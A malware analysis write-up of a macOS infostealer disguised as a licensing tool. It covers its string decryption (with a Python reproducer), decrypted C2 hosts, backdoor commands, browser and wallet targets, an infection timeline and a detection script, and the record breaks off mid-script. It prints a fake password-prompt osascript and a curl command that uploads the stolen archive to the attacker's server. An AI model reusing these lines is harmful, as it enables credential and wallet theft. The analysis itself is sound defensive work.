Executive Summary
In mid-July 2026, I obtained a macOS infostealer trojan disguised as a software licensing tool (Patch.app). The sample is a Mach-O universal binary (x86_64 + arm64) that uses a custom xorshift32 PRNG-based XOR cipher to obfuscate 379 embedded strings. Its recovered code targets 14 browsers, 16 software-wallet locations, the macOS Keychain, Apple Notes and Safari cookies, and includes Ledger and Trezor application ZIP names. It packages collected data into a ZIP archive and contains an HTTP upload command. Those capabilities describe this sample; what was actually collected depended on the contents of each analysis system.
Key Findings:
- 379 decrypted strings, including browser paths, wallet identifiers, C2 endpoints, persistence mechanisms, and the full AppleScript payload.
.bhost→ Primary C2 IP:192.253.248.181(raw IP, not a fallback)..phost→ Panel domain:http://ukdsopas.at(used as an HTTP header identifier).xxxblyat→ Hardcodedapp_idlinking this build to the Odyssey Stealer MaaS platform.newooble→ Affiliate/panel username observed in this build (recovered from.username).- Four command types:
doshell,repeat,enablesocks5,uninstall- including arbitrary shell-command execution in the malware’s execution context. - Two separate infections (users
m1andm2) carried the same affiliate/panel identifier (newooble). - Live bot channel discovered with
.botid19a9ff38c1b24ffe8e5c54a91af203c8; subsequent successful manual polling confirmed that the C2 server responded during later testing. - Password theft confirmed:
password1(recovered fromcache.txt). - Collected data recovered:
lksopo.zipcontaining credentials and system information. Recovering the local archive and upload command does not, by itself, confirm delivery to the remote server.
All indicators of compromise have been reported to the ACSC, AFP, and relevant abuse contacts. This writeup documents the complete analysis.
1. Sample Acquisition
The sample was obtained from a malicious distribution site where it was presented as a legitimate software licensing tool. In that context, the ad-hoc code signature and lack of a Team Identifier were early reasons for additional scrutiny, rather than proof of maliciousness on their own.
The malware was detonated on an isolated macOS system with network monitoring in place - an AdGuard Home DNS sinkhole and kernel‑level network logging. This setup allowed me to observe the malware’s full behaviour in real time.
All credentials on the analysis system were rotated immediately following the engagement, and the machine was erased after forensic preservation.
A second infection was later analysed on a separate machine (user m2), confirming the campaign was still active.
2. Binary Overview
| Property | Value |
|---|---|
| File name | Patch.app |
| Binary type | Mach‑O universal (x86_64 + arm64) |
| Total size | 393 KB (fat binary) |
| x86_64 slice | 178,208 bytes |
| Code signature | Ad‑hoc (Signature=adhoc) |
| Team Identifier | None |
| CDHash | 5a0029d7b775b584cfd1a87a49e0af44f17a58d8 |
| Identifier | Patch-5555494429f3f38f9dde3fec92cf2af89c8f9935 |
| SHA‑256 (x86_64) | 1b19352e39817758951c4c99e2ec90501abe6b4b56d7467bfb49184197c4afd0 |
| SHA‑256 (fat) | 0174997b7eaa81de686d2f22534d8684a698bd1388ed7f15430f8b881ad32f1c |
| Linked libraries | libSystem.B.dylib, libc++.1.dylib |
| Notable imports | _fopen, _fwrite, _system, _getenv, _sleep, _memcmp, std::string, std::ios_base |
The binary is a C++ application that makes heavy use of std::string for path construction and data manipulation. C++ streams are prominent in its file handling, while the binary also imports C stdio functions including _fopen and _fwrite. Shell commands are executed through _system().
3. String Obfuscation: xorshift32
The strings recovered from this sample - file paths, shell commands, URLs, wallet names, browser identifiers - are protected using a custom scheme derived from the xorshift32 pseudorandom number generator.
3.1 The cipher
The sample uses per-string state values with a xorshift32-derived byte stream. In my extraction workflow, candidate 4-byte seeds were recovered from __TEXT,__const and tested against candidate ciphertext regions identified during reverse engineering. The offsets below are specific to this sample and slice. The decryption primitive proceeds as follows:
- Initialise the PRNG state with the 4‑byte seed.
- For each byte of the encrypted string:
- XOR the byte with the low 8 bits of the current PRNG state.
- Advance the PRNG state.
- The result is the plaintext string.
The xorshift32 function:
uint32_t xorshift32(uint32_t state) {
state ^= state << 13;
state ^= state >> 17;
state ^= state << 5;
return state | 1; // additional OR-with-1 step observed in this sample
}
3.2 Decryption methodology
I developed a Python-based extraction workflow that retained 379 unique decrypted strings after automated filtering and manual review. Interestingly, that count independently matches the 379 strings recovered by 0xlibris from a closely related Odyssey sample, although configuration values differ between builds:
| Step | Method |
|---|---|
| 1 | Extract every 4‑byte little‑endian value from __TEXT __const (file offset 0x1D350, size 0x3904). |
| 2 | Filter to 392 unique non‑zero candidate seeds. |
| 3 | For each seed, generate the xorshift32-derived keystream and test candidate ciphertext regions and offsets identified during reverse engineering. |
| 4 | Score each result by printable ASCII ratio (threshold: >70%). |
| 5 | Flag results containing known patterns (/, http, {, curl, wallet names). |
| 6 | Manually verify and catalogue all hits. |
Result: 379 strings were retained in the final catalogue after automated filtering and manual review; I did not identify false positives in that final set.
The following Python is a simplified reproducer of the PRNG/decryption primitive used in my analysis. The offsets are sample-specific; the full extraction workflow also used candidate-region scanning and manual review:
#!/usr/bin/env python3
"""
xorshift32-derived string decryption reproducer for Odyssey Stealer / Patch.app
Demonstrates the sample-specific PRNG/decryption primitive and candidate extraction.
"""
import struct
def xorshift32_next(state):
state &= 0xFFFFFFFF
state ^= (state << 13) & 0xFFFFFFFF
state ^= (state >> 17) & 0xFFFFFFFF
state ^= (state << 5) & 0xFFFFFFFF
return (state | 1) & 0xFFFFFFFF
def decrypt_block(encrypted_bytes, seed):
state = seed & 0xFFFFFFFF
plain = bytearray()
for b in encrypted_bytes:
plain.append(b ^ (state & 0xFF))
state = xorshift32_next(state)
return bytes(plain)
def extract_seeds_from_const_section(binary_path, const_offset, const_size):
with open(binary_path, 'rb') as f:
f.seek(const_offset)
data = f.read(const_size)
seeds = set()
# Every 4 bytes may be a seed, but we scan for non‑zero values
for i in range(0, len(data), 4):
seed = struct.unpack('<I', data[i:i+4])[0]
if seed != 0:
seeds.add(seed)
return seeds
def brute_force_decrypt(binary_path, const_offset, const_size, data_offset, data_size):
seeds = extract_seeds_from_const_section(binary_path, const_offset, const_size)
print(f"[*] Found {len(seeds)} candidate seeds")
with open(binary_path, 'rb') as f:
f.seek(data_offset)
encrypted_data = f.read(data_size)
results = []
for seed in seeds:
decrypted = decrypt_block(encrypted_data, seed)
# Try to split on null bytes and keep printable ASCII
parts = decrypted.split(b'\x00')
for part in parts:
try:
s = part.decode('utf-8')
if len(s) > 3 and all(32 <= ord(c) < 127 for c in s):
results.append(s)
except UnicodeDecodeError:
continue
# Deduplicate and sort
unique = sorted(set(results))
print(f"[+] Decrypted {len(unique)} unique strings")
for s in unique:
print(s)
if __name__ == "__main__":
# Adjust these offsets based on your binary
BINARY = "Patch_x86_64"
CONST_OFFSET = 0x1D350 # __TEXT __const start
CONST_SIZE = 0x3904
DATA_OFFSET = 0x1D4A4 # approximate start of encrypted data
DATA_SIZE = 0x2000 # adjust as needed
brute_force_decrypt(BINARY, CONST_OFFSET, CONST_SIZE, DATA_OFFSET, DATA_SIZE)
4. Decrypted Strings and Targets
I retained 379 decrypted strings in the final catalogue for this sample. The sections below group selected strings and targets by purpose; they do not print all 379 entries. In particular, the browser-extension block shows a subset of the 203 IDs. Other Odyssey builds can have different configurations and targets.
4.1 Command‑and‑Control Infrastructure
http://ukdsopas.at
http://192.253.248.181
http://ukdsopas.at/log
909286c1d2fb4c5c97dfc22a486661c1
newooble
false
Key insight: The malware uses two separate configuration files:
.bhost→ Bot Host (primary C2 server):http://192.253.248.181.phost→ Panel Host (admin panel domain):http://ukdsopas.at
The AppleScript backdoor reads .bhost as botHost and uses the raw IP for its bot API calls. It reads .phost as panelAddr and sends that value in the panel_addr: header for the repeat-script request. That separates the backdoor’s connection destination from its panel label. The first-stage archive upload is a different request: section 4.6 shows it using http://ukdsopas.at/log. The domain therefore still matters to that exfiltration path.
4.2 Anti‑analysis
USER
root
The malware checks getenv("USER") and exits immediately if the value is root. This is a simple but effective anti‑sandbox measure - automated analysis environments often run as root.
4.3 AppleScript Payload
The full AppleScript is embedded as a string in the LaunchDaemon plist. My recovered payload was 180 lines long. The one-line excerpt below identifies its app_id; the following tables summarise its functions and commands.
set app_id to "xxxblyat"
Functions defined:
| Function | Purpose |
|---|---|
trim() |
Removes whitespace from strings |
readFile() |
Reads a file from disk |
writeFile() |
Writes a file to disk |
checkActiveAppID() |
Checks if the malware is already running |
joinsystem() |
Registers the bot with the C2 server |
getActions() |
Polls the C2 server for commands |
uninstall() |
Self‑destructs the malware |
init() |
Main execution loop |
The four commands the attacker can send:
| Command | Action |
|---|---|
uninstall |
Writes + to ~/.uninstalled and exits |
repeat |
Downloads and executes a script from /api/v1/bot/repeat/{panelUsername} |
doshell |
Executes any arbitrary shell command on the victim’s machine |
enablesocks5 |
Downloads and runs a SOCKS5 proxy from /web/socks |
4.4 AppleScript Command Execution Flow
The C2 server returns three lines per command:
[actionID]
[actionName]
[actionComment]
The malware checks if actionID differs from ~/.lastaction, then executes:
doshell:do shell script actionComment(runs any shell command)repeat: Downloads and executes the script atactionCommentenablesocks5: Downloads/web/socksto/tmp/socks, makes it executable, and runs ituninstall: Writes+to~/.uninstalledand exits
4.5 Password Theft (Critical)
dscl . authonly '
masterpass-chrome
osascript -e 'set passwen to display dialog "Please enter device password to continue." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "Password Request" with hidden answer
text returned of passwen'
The malware uses dscl . authonly to verify the password against the local directory and osascript to present a fake system dialog prompting the user for their password. This password is stored in ~/.pwd and exfiltrated.
In the m2 infection, the stolen password was recovered from cache.txt:
$mac password get scpt output: password1
4.6 Exfiltration Commands
curl -s
rm -rf '
Library/
curl -X POST \
-H "buildid: 909286c1d2fb4c5c97dfc22a486661c1" \
-H "username: newooble" \
--data-binary @/tmp/lksopo.zip \
http://ukdsopas.at/log
The malware stages data in /tmp/lksopo/, compresses it with ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip, and exfiltrates it via HTTP POST. Retry logic: 10 attempts, 60‑second sleep between each.
4.7 Staging and Cleanup
/tmp/lksopo/
ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip
rm -rf /tmp/lksopo
rm -f /tmp/lksopo.zip
4.8 Persistence Dotfiles
.botid
.pwd
.phost
.bhost
.username
.lastaction
.uninstalled
These files are written to /Users/username/:
| File | Content | Purpose |
|---|---|---|
.botid |
e.g., 19a9ff38c1b24ffe8e5c54a91af203c8 |
Unique bot identifier assigned by C2 |
.pwd |
Stolen login password | Plaintext password (e.g., password0, password1) |
.phost |
http://ukdsopas.at |
Panel host (HTTP header) |
.bhost |
http://192.253.248.181 |
Bot host (primary C2 server) |
.username |
newooble |
Affiliate/panel username |
.lastaction |
Last command ID | Prevents command replay |
.uninstalled |
+ |
Self‑destruct marker |
4.9 Apple Notes Extraction
finder/NoteStore.sqlite
-finder/notes.html
The malware contains a 969‑byte AppleScript that:
- Enumerates every account in Apple Notes
- Iterates over every note in every account
- Extracts the creation date and HTML body of each note
- Writes the combined output to
/tmp/lksopo/finder/notes.html - Prepends a note count header
4.10 System Reconnaissance
sw_vers -productVersion | cut -d. -f1
sw_vers -productVersion | cut -d. -f2
system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType
The macOS version check gates the Chrome master password extraction - the malware only attempts it on versions greater than 26.3.
4.11 Browser Targets (14 browsers)
| Browser | Path |
|---|---|
| Chrome | Google/Chrome/ |
| Chrome Beta | Google/Chrome Beta/ |
| Chrome Canary | Google/Chrome Canary/ |
| Chrome Dev | Google/Chrome Dev/ |
| Chromium | Chromium/ |
| Brave | BraveSoftware/Brave-Browser/ |
| Edge | Microsoft Edge/ |
| Vivaldi | Vivaldi/ |
| Opera | com.operasoftware.Opera/ |
| Opera GX | com.operasoftware.OperaGX/ |
| Arc | Arc/User Data/ |
| CocCoc | CocCoc/Browser/ |
| Firefox | Firefox/Profiles/ |
| Waterfox | Waterfox/Profiles/ |
File targets per browser:
/key4.db
/Cookies
/Web Data
/Login Data
/IndexedDB/
/logins.json
/cookies.sqlite
/formhistory.sqlite
4.12 Cryptocurrency Wallet and Application Targets
| Wallet | Path |
|---|---|
| Electrum | .electrum/wallets/ |
| Electrum LTC | .electrum-ltc/wallets/ |
| Electron Cash | .electron-cash/wallets/ |
| Coinomi | Coinomi/wallets/ |
| Exodus | Exodus/ |
| Atomic | atomic/Local Storage/leveldb/ |
| Wasabi | .walletwasabi/client/Wallets/ |
| Ledger Live | Ledger Live/ |
| Monero | Monero/wallets/ |
| Bitcoin Core | Bitcoin/wallets/ |
| Litecoin Core | Litecoin/wallets/ |
| Dash Core | DashCore/wallets/ |
| Dogecoin Core | Dogecoin/wallets/ |
| Guarda | Guarda/ |
| Trezor Suite | @trezor/suite-desktop/ |
| Sparrow | .sparrow/wallets/ |
| Ledger application ZIP names | ledger.zip, ledgerwallet.zip |
| Trezor application ZIP name | trezor.zip |
The three ZIP names above are preserved as recovered strings. Censys documents trojanised Ledger and Trezor application downloads in related Odyssey samples. The names alone are not evidence of exports from a hardware wallet or extraction of keys held on the device.
4.13 Chrome Extension IDs (Wallet Stealing)
The binary contains 203 Chrome extension IDs targeting crypto wallets including:
ldinpeekobnhjjdofggfgjlcehhmanlj
nphplpgoakhhjchkkhmiggakijnkhfnd
jbkgjmpfammbgejcpedggoefddacbdia
fccgmnglbhajioalokbcidhcaikhlcpm
nebnhfamliijlghikdgcigoebonmoibm
fdcnegogpncmfejlfnffnofpngdiejii
mfhbebgoclkghebffdldpobeajmbecfk
ffbceckpkpbcmgiaehlloocglmijnpmp
kfdniefadaanbjodldohaedphafoffoh
bedogdpgdnifilpgeianmmdabklhfkcn
kpfchfdkjhcoekhdldggegebfakaaiog
klnaejjgbibmhlephnhpmaofohgkpgkd
opcgpfmipidbgpenhmajoajpbobppdil
mmmjbcfofconkannjonfmjjajpllddbg
modjfdjcodmehnpccdjngmdfajggaoeh
dkdedlpgdmmkkfjabffeganieamfklkm
ifclboecfhkjbpmhgehodcjpciihhmif
ppbibelpcjmhbdihakflkdcoccbgbkpo
ejjladinnckdgjemekebdpeokbikhfci
kkpllkodjeloidieedojogacfhpaihoh
apnehcjmnengpnmccpaibjmhhoadaico
jiepnaheligkibgcjgjepjfppgbcghmp
jojhfeoedkpkglbfimdfabpdfjaoolaf
idpdilbfamoopcfofbipefhmmnflljfi
lbjapbcmmceacocpimbpbidpgmlmoaao
oiohdnannmknmdlddkdejbmplhbdcbee
fldfpgipfncgndfolcbkdeeknbbbnhcc
fpkhgmpbidmiogeglndfbkegfdlnajnf
lgmpcpglpngdoalbgeoldeajfclnhafa
ilhaljfiglknggcoegeknjghdgampffk
pfccjkejcgoppjnllalolplgogenfojk
cnmamaachppnkjgnildpdmkaakejnhae
eajafomhmkipbjmfmhebemolkcicgfmd
emeeapjkbcbpbpgaagfchmcgglmebnen
ibnejdfjmmkpcnlpebklmnkoeoihofec
hifafgmccdpekplomjjkcfgodnhcellj
ffnbelfdoeiohenkjibnmadjiehjhajb
fnjhmkhhmkbjkkabndcnnogagogbneec
bcopgchhojmggmffilplmbdicgaihlkp
cmoakldedjfnjofgbbfenefcagmedlga
ifckdpamphokdglkkdomedpdegcjhjdp
ibljocddagjghmlpgihahamcghfggcjc
cjmkndjhnagcfbpiemnkdpomccnjblmj
kbdcddcmgoplfockflacnnefaehaiocb
cgeeodpfagjceefieflmdfphplkenlfk
afbcbjpbpfadlkmhmclhkeeodmamcflc
fdchdcpieegfofnofhgdombfckhbcokj
gjlmehlldlphhljhpnlddaodbjjcchai
ellkdbaphhldpeajbepobaecooaoafpg
ojbcfhjmpigfobfclfflafhblgemeidi
ghlmndacnhlaekppcllcpcjjjomjkjpg
kgdijkcfiglijhaglibaidbipiejjfdp
abkahkcbhngaebpcgfmhkoioedceoigp
ammjlinfekkoockogfhdkgcohjlbhmff
4.14 System Data Targets
| Target | Method |
|---|---|
| macOS Keychain | Direct file copy of login.keychain-db |
| Chrome master password | Keychain extraction (gated on macOS version) |
| Apple Notes | AppleScript (all accounts, all notes) |
| Safari cookies | Direct file copy of Cookies.binarycookies |
| Hardware/software info | system_profiler |
5. Attack Timeline (User: m1 - Initial Infection)
The following timeline was reconstructed from AdGuard Home DNS logs, macOS kernel network logs, file system timestamps, keychain metadata, decompiled source code, .zsh_history, screenshot metadata, and the recovered .botid from the m2 infection (which served as corroborating evidence for the C2 server’s continued operation). All times are AEST.
| Time | Phase | Event | Source |
|---|---|---|---|
| ~22:30 | Infection | Microsoft Office LTSC 2024 VL Serializer package executed | BOM receipt |
| 22:35:03 | Infection | Microsoft AutoUpdate runs (coincidental) - creates MAU2.0 directory | Timeline |
| 22:35:15 | Infection | Microsoft Excel frameworks updated (Office update) | Timeline |
| 22:38:48 | Infection | User opens Terminal | Terminal log |
| 22:39:21 - 22:49:38 | Infection | Malware attempts DNS for ukdsopas.at → BLOCKED by AdGuard Home (11× over ~10 min) |
AdGuard logs |
| 22:39:58 | Infection | “Patch” process crashes - CrashReporter log written | CrashReporter |
| 22:40:23 | Infection | Gatekeeper rejects something - .LastGKReject written |
Timeline |
| 22:40:34 | Infection | Package receipt created - installs Patch.app (393 KB) + Office VL Serializer (6.9 MB) to /Library/Application Support/ |
BOM file |
| 22:40:49 | Infection | ExecPolicy modified; .IuN79Kxxpn recorded in /var/root/Library/Application Support/ |
Timeline |
| 22:41:31 | Infection | LuLu firewall rules modified (rules.plist) |
Timeline |
| ~22:50 | C2 Active | Malware uses the configured primary IP 192.253.248.181; creates dotfiles: .pwd, .phost, .bhost, .username |
Detection script |
| 22:50:38 | C2 Active | First C2 connection - joinsystem → bot registered as newooble, .botid assigned (32 bytes) |
Kernel logs; screenshot |
| 22:50:39 | C2 Active | getActions polling begins - every 60 seconds |
Kernel logs |
| 22:50-22:58 | C2 Active | Active attack window - doshell, repeat, enablesocks5 commands available to attacker |
Source code |
| ~22:58 | C2 Active | C2 stops responding to the m1 bot (transient issue or attacker action); bot begins 10‑retry countdown (10 × 60s) |
Source code logic |
| 22:57:06 | Discovery | User writes virus?.rtf - infection confirmed |
Timeline |
| 23:01:01 | Discovery | User runs detect_xdivcmp_mac.sh (detect‑only; malware PID 12047 still running) |
Terminal output |
| 23:02:10 | Discovery | User begins taking screenshots | Timeline |
| 23:07:23 | Discovery | User writes virus confirmed.txt |
Timeline |
| 23:08:47 | Self‑destruct | Malware self‑destructs - uninstall() writes + to ~/.uninstalled, bot exits |
Evidence backup; screenshot |
| 23:11:00 | Cleanup | User runs cleanup script (--clean) - evidence preserved, LaunchDaemon unloaded, Gatekeeper re‑enabled |
Timeline |
| 23:13:28 | Investigation | Screenshot taken - shows both .botid (32 bytes) and .uninstalled (1 byte) still present in ~/ |
Screenshot metadata |
| ~23:15 | Shutdown | Mac reboots - shutdown logs, uuidtext flush, system databases saved | Timeline |
| ~23:18 | Reboot | Mac comes back up after reboot | Timeline |
5.1 The C2 Server Was Still Reachable
The later evidence shows that the C2 infrastructure had not permanently disappeared when the m1 bot lost contact. The second infection successfully obtained a .botid, and later manual polling using that identifier returned valid responses. That proves the service was reachable at those observed times; it does not establish uninterrupted uptime throughout the entire interval.
This raises an important question: if the C2 service was reachable again later, why did the m1 bot self-disable?
The timeline shows the m1 bot losing contact at about 22:58 and entering its 10-retry countdown. At 23:08:47, after the polling failures, the same self-disable path wrote + to ~/.uninstalled and the bot exited. A screenshot taken at 23:13:28 shows .uninstalled present with a modification time of 23:08 alongside .botid.
The .uninstalled file survived the initial cleanup because the version of detect_xdivcmp_mac.sh used at 23:11 did not include .uninstalled in its DOTFILES array; it only targeted .pwd, .phost, .bhost, and .username. The .botid file was manually deleted later during the investigation, sometime between the screenshot and the creation of the forensic clone.
The available evidence therefore supports a narrower conclusion: the m1 bot lost contact and self-disabled, while the C2 infrastructure was reachable again during the subsequent m2 investigation.
6. Command Structure and C2 API
The HTTP endpoints serve different stages. The AppleScript backdoor uses the bot-management API, while the archive upload goes to /log. The linked 0xlibris analysis documents /api/v1/getscptraw as a GET request for the AppleScript second stage, not an exfiltration POST.
| Endpoint | Method | Purpose |
|---|---|---|
/api/v1/bot/joinsystem/{panelUsername}/{macOSVers} |
GET | Register the bot, receive botID |
/api/v1/bot/actions/{botID} |
GET | Poll for commands (every 60 seconds) |
/api/v1/bot/repeat/{panelUsername} |
GET | Download secondary payload script |
/web/socks |
GET | Download SOCKS5 proxy binary |
/api/v1/getscptraw |
GET | AppleScript second-stage retrieval documented in the related 0xlibris analysis |
/log |
POST | Archive upload shown in section 4.6 |
The AppleScript bot requests use User-Agent: bot. The repeat request also sends panel_addr: http://ukdsopas.at. Those headers describe the backdoor requests, not every request made by the first-stage binary.
6.1 Command Response Format
The server returns exactly three lines:
[actionID]
[actionName]
[actionComment]
| actionName | actionComment | Effect |
|---|---|---|
uninstall |
(ignored) | Writes + to ~/.uninstalled and exits |
repeat |
URL to script | Downloads and executes the script via bash |
doshell |
Shell command | Executes the command on the victim’s machine |
enablesocks5 |
(ignored) | Downloads and runs /web/socks proxy |
7. Persistence and Self‑Destruct
7.1 Persistence
The malware installs a LaunchDaemon at /Library/LaunchDaemons/com.xdivcmp.plist configured to run at system boot.
The plist contains the full AppleScript payload with app_id = "xxxblyat" and runs as the user m1 (or m2 on the second infection).
7.2 Self-Destruct
The uninstall() routine writes + to ~/.uninstalled and exits. An explicit C2 uninstall action can invoke that routine, but that was not the path observed in the m1 timeline.
In the m1 infection, .uninstalled was created at approximately 23:08 after the bot exhausted its polling retries. A screenshot taken at 23:13 shows the one-byte file still present. This is therefore consistent with the retry-exhaustion path reaching the same self-disable routine rather than an operator explicitly sending the uninstall action.
7.3 The Encrypted Payload: .IuN79Kxxpn
A 2,048-byte encrypted file named .IuN79Kxxpn was recorded at 22:40:49. My preserved notes currently disagree on its path: the timeline places it under /var/root/Library/Application Support/, while an earlier analysis note placed it under /Users/username/Library/Application Support/. I am not resolving that discrepancy by guesswork; the exact path needs to be re-checked against the preserved forensic evidence. Attempts to decrypt the file using the approaches I tested, including xorshift32, RC4, AES, single-byte XOR, multi-byte XOR, HMAC-SHA256 and PBKDF2, failed. I could not recover a working decryption key from the preserved artifacts. A runtime-only or randomly generated key is one possible explanation, but the available evidence does not establish how the key was generated or whether it was ever persisted elsewhere.
8. The Two Infections: m1 and m2
Two separate infections were analysed. Both carried the same sample configuration, C2 server and affiliate/panel username (newooble). That links the observed configuration; a shared account identifier does not establish that one individual operated both infections.
| Attribute | Infection 1 (m1) |
Infection 2 (m2) |
|---|---|---|
| User | m1 |
m2 |
| macOS version | 26.5.2 | 26.5.1 |
.botid |
Visible in the post-cleanup screenshot; manually deleted before the clone | Recovered: 19a9ff38c1b24ffe8e5c54a91af203c8 |
.username |
newooble |
newooble |
| Stolen password | password0 (from .pwd) |
password1 (from cache.txt) |
| Chrome installed | True | false |
| lksopo.zip contents | 7 files (finder, cache.txt, hardware, installedSoft, kc, pwd, user) | Same (analysed) |
| C2 status | Active | Active |
The m2 infection provided a recovered .botid, and later manual polling returned valid responses. The C2 service was reachable at those observed times. Registration and responses alone do not show whether an operator was actively managing the channel.
9. Forensic Artifacts Recovered
9.1 lksopo.zip Contents (Both Infections)
finder/ → Directory listing of user's file system
cache.txt → Stolen password: $mac password get scpt output: password1
hardware → System_profiler output
installedSoft → List of installed applications
kc → macOS Keychain dump
pwd → Plaintext password file
user → Attacker username: newooble
9.2 .zsh_history Highlights (User Actions)
The user’s .zsh_history revealed their own cleanup attempts:
sudo ./detect_xdivcmp_mac.sh
sudo ./detect_xdivcmp_mac.sh --clean
log show --predicate 'process == "curl"' --last 7d | grep -E "POST|PUT|192.253.248.181|ukdsopas"
The user m1 had made a typo (192.168.248.181 instead of 192.253.248.181), missing the C2 traffic in their initial log search.
9.3 Network Logs (Kernel Level)
The kernel logs confirmed successful C2 communication:
2026-07-16 22:50:38.712583+1000 kernel: cfil_inp_log:6259 <CFIL: flow_divert option is NOT set: VERDICT - PASS>: [12038 curl] <TCP out so 1df2182b36348645 flags 0x800840 0x20000081 1224875797093080 age 0> lport 57603 fport 80 laddr 192.168.1.143 faddr 192.253.248.181
Every 60 seconds, a curl process connected to 192.253.248.181:80, matching the delay 60 loop.
10. Detection and Cleanup Script
The following detection script (detect_odyssey_mac.sh) is retained as a historical tool from the investigation. It checks the older Install.app path and an older target hash; it does not directly check the Patch.app path or the sample hashes listed in this article. Detect-only mode still writes temporary files and invokes system tools. In --clean mode, backup failures are suppressed and do not prevent deletion, so this version should not be used to clean a system without independently preserving the evidence first.
#!/bin/bash
#
# detect_odyssey_mac.sh
#
# Detects and optionally removes known IoCs from macOS stealers/backdoors including:
# - Original xdivcmp / Office serializer trojan
# - Newer Odyssey Stealer / AMOS variants (e.g., xxxblyat build)
#
# Known IoCs checked:
# /Library/Application Support/Install.app
# /Library/LaunchDaemons/com.xdivcmp.plist
# ~/.pwd ~/.phost ~/.bhost ~/.username ~/.botid ~/.lastaction ~/.uninstalled
# Domains: charge0x.at, ukdsopas.at
# IPs: 192.253.248.181
# Staging/Proxy: /tmp/socks, /tmp/lksopo
#
# Default: detect only
# Cleanup: sudo ./detect_odyssey_mac.sh --clean
#
# This script is intentionally conservative:
# - It does not delete anything unless --clean is supplied.
# - It backs up evidence before removing known IoCs.
# - It kills active malware processes during cleanup.
# - It does not claim the Mac is clean if no IoCs are found.
set -u
CLEAN=0
TARGET_HASH="0ea6167e44bb2d9b111c184df09432729bc69fd509426df83facf07eb6c39100"
INSTALL_APP="/Library/Application Support/Install.app"
LAUNCHD_PLIST="/Library/LaunchDaemons/com.xdivcmp.plist"
USER_HOME="${SUDO_USER:+$(eval echo "~$SUDO_USER")}"
if [ -z "${USER_HOME:-}" ]; then
USER_HOME="$HOME"
fi
# Expanded to include Odyssey Stealer tracking files
DOTFILES=(
"$USER_HOME/.pwd"
"$USER_HOME/.phost"
"$USER_HOME/.bhost"
"$USER_HOME/.username"
"$USER_HOME/.botid"
"$USER_HOME/.lastaction"
"$USER_HOME/.uninstalled"
)
# Expanded to include new domains, build tags, and proxy paths
IOC_STRINGS=(
"charge0x.at"
"ukdsopas.at"
"192.253.248.181"
"xdivcmp"
"com.xdivcmp"
"xxxblyat"
"/web/socks"
"lksopo"
)
FOUND=0
SUSPICIOUS=0
timestamp() {
date +"%Y-%m-%d_%H-%M-%S"
}
say() {
printf '%s\n' "$*"
}
hit() {
FOUND=1
printf ' [HIT] %s\n' "$*"
}
warn() {
SUSPICIOUS=1
printf ' [WARN] %s\n' "$*"
}
ok() {
printf ' [OK] %s\n' "$*"
}
section() {
printf '\n==== %s ====\n' "$*"
}
usage() {
cat <<EOF
Usage:
$0 Detect only
sudo $0 --clean Backup evidence, kill processes, unload LaunchDaemon, remove known IoCs, re-enable Gatekeeper
EOF
}
if [ "${1:-}" = "--clean" ]; then
CLEAN=1
elif [ "${1:-}" = "-h" ] || [ "${1:-}" = "--help" ]; then
usage
exit 0
elif [ -n "${1:-}" ]; then
usage
exit 2
fi
section "Mode"
if [ "$CLEAN" -eq 1 ]; then
if [ "$(id -u)" -ne 0 ]; then
say "Cleanup mode requires sudo/root."
say "Run: sudo $0 --clean"
exit 1
fi
say "Running in CLEANUP mode."
else
say "Running in DETECT-ONLY mode. Nothing will be deleted."
fi
section "Basic system info"
say "Host: $(hostname)"
say "User home checked: $USER_HOME"
say "macOS: $(sw_vers -productVersion 2>/dev/null || echo unknown)"
say "Date: $(date)"
section "Check known filesystem IoCs"
if [ -e "$INSTALL_APP" ]; then
hit "Found $INSTALL_APP"
say " Details:"
ls -ld "$INSTALL_APP" 2>/dev/null | sed 's/^/ /'
if [ -d "$INSTALL_APP/Contents" ]; then
say " Bundle Info:"
/usr/libexec/PlistBuddy -c "Print :CFBundleIdentifier" "$INSTALL_APP/Contents/Info.plist" 2>/dev/null | sed 's/^/ CFBundleIdentifier: /' || true
/usr/libexec/PlistBuddy -c "Print :CFBundleExecutable" "$INSTALL_APP/Contents/Info.plist" 2>/dev/null | sed 's/^/ CFBundleExecutable: /' || true
fi
say " Codesign:"
codesign -dv --verbose=4 "$INSTALL_APP" 2>&1 | sed 's/^/ /' || true
say " Gatekeeper assessment:"
spctl --assess --verbose=4 "$INSTALL_APP" 2>&1 | sed 's/^/ /' || true
say " Executable file hashes:"
find "$INSTALL_APP" -type f -perm /111 2>/dev/null | while read -r exe; do
h="$(shasum -a 256 "$exe" 2>/dev/null | awk '{print $1}')"
printf ' %s %s\n' "$h" "$exe"
if [ "$h" = "$TARGET_HASH" ]; then
printf ' *** HASH MATCHES KNOWN MALWARE IOC ***\n'
fi
done
else
ok "Not found: $INSTALL_APP"
fi
if [ -e "$LAUNCHD_PLIST" ]; then
hit "Found $LAUNCHD_PLIST"
say " Contents:"
sed 's/^/ /' "$LAUNCHD_PLIST" 2>/dev/null || true
else
ok "Not found: $LAUNCHD_PLIST"
fi
for f in "${DOTFILES[@]}"; do
if [ -e "$f" ]; then
hit "Found $f"
ls -l "$f" 2>/dev/null | sed 's/^/ /'
else
ok "Not found: $f"
fi
done
section "Check LaunchDaemon loaded state"
if launchctl print system/com.xdivcmp >/tmp/xdivcmp_launchctl_check.$$ 2>&1; then
hit "LaunchDaemon appears loaded: system/com.xdivcmp"
sed 's/^/ /' /tmp/xdivcmp_launchctl_check.$$
else
ok "system/com.xdivcmp does not appear loaded"
fi
rm -f /tmp/xdivcmp_launchctl_check.$$
section "Search common persistence locations for IoC strings"
PERSISTENCE_DIRS=(
"/Library/LaunchAgents"
"/Library/LaunchDaemons"
"$USER_HOME/Library/LaunchAgents"
)
for d in "${PERSISTENCE_DIRS[@]}"; do
if [ -d "$d" ]; then
for s in "${IOC_STRINGS[@]}"; do
matches="$(grep -RIl "$s" "$d" 2>/dev/null || true)"
if [ -n "$matches" ]; then
hit "Found string '$s' under $d"
printf '%s\n' "$matches" | sed 's/^/ /'
fi
done
fi
done
section "Search recent logs for network IoCs (macOS 14+ optimized)"
# Look back 7 days instead of 24 hours, as malware beacons can be infrequent
LOG_LOOKBACK="7d"
if command -v log >/dev/null 2>&1; then
# Added new domains, the build tag, and the hidden proxy download path
NET_IOCS=("charge0x.at" "ukdsopas.at" "192.253.248.181" "/tmp/socks" "xxxblyat")
